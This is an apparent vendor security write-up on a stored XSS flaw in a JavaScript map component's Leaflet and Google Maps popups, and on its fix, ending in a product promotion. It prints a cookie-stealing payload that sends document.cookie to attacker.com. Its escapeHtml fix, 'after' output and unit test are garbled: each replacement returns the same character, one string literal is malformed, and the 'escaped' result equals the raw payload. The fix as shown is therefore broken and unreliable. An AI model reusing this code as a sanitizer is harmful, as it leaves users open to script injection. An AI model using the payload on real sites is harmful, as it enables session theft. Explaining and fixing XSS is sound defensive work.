How Stored Cross-Site Scripting (Stored XSS) Happens in JavaScript Map Components and How to Fix It
The Incident
In the content-map component (content/main/content-map/main/index.js), a critical vulnerability allowed attackers to inject and execute arbitrary JavaScript code through seemingly innocent map marker popups. The vulnerability existed at line 149 (Leaflet) and line 283 (Google Maps), where the component directly interpolated API response data into HTML without any sanitization:
marker.bindPopup(`<b>${title}</b><br>${description}`);
This single line of code created a two-step exploitation chain: an attacker could control content via the API, and that malicious content would execute in any user's browser viewing the map. For a Node.js library distributed to downstream consumers, this risk multiplied across every application using this component.
The Vulnerability Explained
What makes this a critical vulnerability?
The content-map component renders interactive maps with markers that display popup information fetched from an API. The title and description fields come directly from API responses—data that an attacker could control by:
- Compromising the API backend
- Modifying content through an authenticated but compromised account
- Intercepting and modifying API responses in transit (if HTTPS is not enforced)
When these untrusted fields are directly interpolated into HTML strings, Leaflet's bindPopup() and Google Maps' InfoWindow treat the content as raw HTML, not plain text. This means any HTML tags—including <img>, <script>, <svg>, and event handlers—are parsed and executed.
The vulnerable code pattern:
// Line 149 - Leaflet binding
marker.bindPopup(`<b>${title}</b><br>${description}`);
// Line 283 - Google Maps InfoWindow
content: `<b>${title}</b><br>${description}`,
A concrete attack scenario:
An attacker creates a content item with this malicious payload in the title field:
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
When a user views the map and clicks the marker, the browser:
1. Attempts to load an image from URL x (which fails)
2. Triggers the onerror event handler
3. Executes the JavaScript that steals the user's session cookies
4. Sends them to the attacker's server
The attacker now has the victim's authentication credentials and can impersonate them in the application.
Why this matters for downstream consumers:
This is a Node.js library. Every application that imports and uses this content-map component inherits this vulnerability. Users of affected applications could have their sessions hijacked, credentials stolen, or browsers compromised with malware.
The Fix
The fix implements a dedicated escapeHtml() function that converts dangerous HTML characters into their safe entity equivalents:
Added at line 28:
const escapeHtml = (str) => String(str)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
This function converts:
- & → & (ampersand)
- < → < (less-than)
- > → > (greater-than)
- " → " (double quote)
- ' → ' (single quote)
These five replacements neutralize all HTML/JavaScript injection vectors.
Before (vulnerable):
// Line 149 - Leaflet
marker.bindPopup(`<b>${title}</b><br>${description}`);
// Line 283 - Google Maps
content: `<b>${title}</b><br>${description}`,
After (fixed):
// Line 151 - Leaflet (now escaped)
marker.bindPopup(`<b>${escapeHtml(title)}</b><br>${escapeHtml(description)}`);
// Line 283 - Google Maps (now escaped)
content: `<b>${escapeHtml(title)}</b><br>${escapeHtml(description)}`,
How this prevents the attack:
With escaping applied, the malicious payload:
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
Becomes:
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
The browser now renders this as plain text in the popup, not as executable HTML. The user sees the literal text of the attack, harmlessly displayed.
Why both Leaflet and Google Maps needed the fix:
The vulnerability existed in two separate code paths:
- Leaflet integration (line 149): Used bindPopup() with HTML content
- Google Maps integration (line 283): Used InfoWindow with HTML content
Both APIs accept HTML content without automatic sanitization, so both required the escaping fix. The fix was scoped to only the vulnerable interpolation points, leaving all other code unchanged.
Prevention & Best Practices
1. Always escape output based on context
When rendering untrusted data in HTML, use context-appropriate escaping:
- HTML context: Use HTML entity encoding (as done here)
- JavaScript context: Use JavaScript string escaping
- URL context: Use URL encoding
- CSS context: Use CSS escaping
2. Treat all external data as untrusted
This includes:
- API responses (even from your own backend—assume it could be compromised)
- User-generated content
- Database records (if they could have been modified by users)
- Configuration files from external sources
3. Use templating engines with auto-escaping
Modern frameworks like React, Vue, and Angular escape content by default when using template syntax:
// React - automatically escapes
<div>{title}</div>
// Vue - automatically escapes
<div>{{ title }}</div>
However, when you use dangerouslySetInnerHTML (React) or v-html (Vue), you bypass auto-escaping and must manually escape.
4. Validate and sanitize at multiple layers
- Input validation: Reject obviously malicious patterns at the API level
- Output encoding: Escape when rendering (as done in this fix)
- Content Security Policy (CSP): Add a defense-in-depth layer:
Content-Security-Policy: default-src 'self'; script-src 'self'
This prevents inline scripts from executing even if escaping fails.
5. Use security-focused linting tools
Configure ESLint with security plugins:
// .eslintrc.json
{
"plugins": ["security"],
"rules": {
"security/detect-object-injection": "warn",
"security/detect-unsafe-regex": "warn"
}
}
6. Test with malicious payloads
Include security test cases that verify escaping works:
describe('escapeHtml', () => {
it('should escape XSS payloads', () => {
const payload = '<img src=x onerror="alert(1)">';
const escaped = escapeHtml(payload);
expect(escaped).toBe('<img src=x onerror="alert(1)">');
});
});
Key Takeaways
- Direct HTML interpolation of API data is dangerous: The pattern
`<b>${apiData}</b>`is a red flag for stored XSS in any context (maps, comments, profiles, etc.) - Map libraries don't sanitize by default: Both Leaflet and Google Maps treat HTML content as-is, requiring developers to escape untrusted data before passing it to
bindPopup()orInfoWindow - Escaping must happen at the point of use: The fix escapes data exactly where it enters HTML context, making the security boundary clear and maintainable
- The attack chain is surprisingly short: From API compromise to code execution in user browsers takes just two steps—API data → HTML rendering
- Downstream consumers inherit the risk: As a Node.js library, this vulnerability affected every application using the content-map component, making the fix critical for the entire ecosystem
How Orbis AppSec Detected This
Source: The title and description fields originating from API responses in the content fetching logic
Sink: The marker.bindPopup() call at line 149 and the InfoWindow content assignment at line 283, where untrusted data is directly interpolated into HTML strings
Missing control: No HTML entity encoding or sanitization of API response fields before passing them to HTML-accepting APIs
CWE: CWE-79 – Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Fix: Implemented an escapeHtml() function that converts HTML metacharacters to entity references, applied to both title and description fields before rendering in map popups
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
Stored XSS vulnerabilities in map components are particularly dangerous because they hide in plain sight—a simple popup seems innocuous until an attacker exploits it. The fix applied here—HTML entity escaping at the point of rendering—is a fundamental security control that should be applied universally whenever untrusted data enters an HTML context.
For developers maintaining similar code:
- Review all places where external data is rendered in HTML
- Implement context-appropriate escaping
- Add security tests with known malicious payloads
- Use automated scanning tools to catch these patterns before they reach production
The content-map component now safely displays user-provided titles and descriptions without risk of JavaScript injection, protecting both the library and all applications that depend on it.
References
- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- OWASP XSS Prevention Cheat Sheet
- Leaflet Documentation: Popups
- Google Maps InfoWindow Documentation
- Semgrep Rule: Unsafe HTML Interpolation
- fix: the content-map component directly interpolates... in index.js